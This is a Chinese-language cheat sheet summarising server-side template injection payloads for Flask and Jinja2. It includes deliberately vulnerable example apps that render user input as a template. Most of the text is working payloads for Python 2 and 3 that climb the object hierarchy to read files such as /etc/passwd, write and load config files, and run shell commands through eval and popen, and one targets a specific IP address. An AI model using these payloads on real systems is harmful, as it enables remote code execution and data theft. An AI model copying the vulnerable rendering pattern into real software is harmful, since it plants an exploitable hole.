總結一下flask ssti的注入語句
代碼
import uuid
from flask import Flask, request, make_response, session,render_template, url_for, redirect, render_template_string
app=Flask(__name__)
app.config['SECRET_KEY']=str(uuid.uuid4())
@app.route('/')
def index():
try:
username=session['username']
return render_template('index.html',username=username)
except Exception as e:
return """<form action="%s" method='POST'>
<input type='text' name='username' >
<input type='password' name='password' >
<input type='submit'>
</form>""" % url_for("login")
@app.errorhandler(404)
def page_not_found(e):
template='''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
'''%(request.url)
return render_template_string(template),404
@app.route('/',methods=['POST'])
def login():
username=request.form.get("username")
password=request.form.get("password")
if username=='admin' and not password==str(uuid.uuid4()):
return "login failed"
resp=make_response(redirect(url_for("index")))
session['username']=username
return resp
app.run(port=81,debug=True)
一.
python2,python2相對來說簡單,有file
1.文件讀取或者寫入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
2.任意執行
2.1每次執行都要先寫然后編譯執行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} {{ config.from_pyfile('/tmp/owned.cfg') }}
2.2寫入一次即可
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}} {{ config.from_pyfile('/tmp/owned.cfg') }} {{ config['RUNCMD']('/usr/bin/id',shell=True) }}
2.3 不回顯的
http://127.0.0.1:9998/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}} http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
3.任意執行只需要一條指令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(這條指令可以注入,但是如果直接進入python2打這個poc,會報錯,用下面這個就不會,可能是python啟動會加載了某些模塊) http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函數換為popen('').read(),需要導入os模塊) {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要導入os模塊,直接從別的模塊調用)
總結:通過某種類型(字符串:"",list:[],int:1)開始引出,__class__找到當前類,__mro__或者__base__找到__object__,前邊的語句構造都是要找這個。然后利用object找到能利用的類。還有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}這種的,能執行,但是不會回顯。一般來說,python2的話用file就行,python3則沒有這個屬性。
二.
然后是python3
因為python3沒有file了,所以用的是open
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}和python2的位置不一樣,問題不大,挨個測試就能找出位置在在哪。
同樣是一句指令任意執行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
三. 比較不同的一種,單獨拿出來了。
#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run();
python3的時候
命令執行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
python2的時候。(同上,不過不是不回顯,而是要看網頁源代碼才能看出來)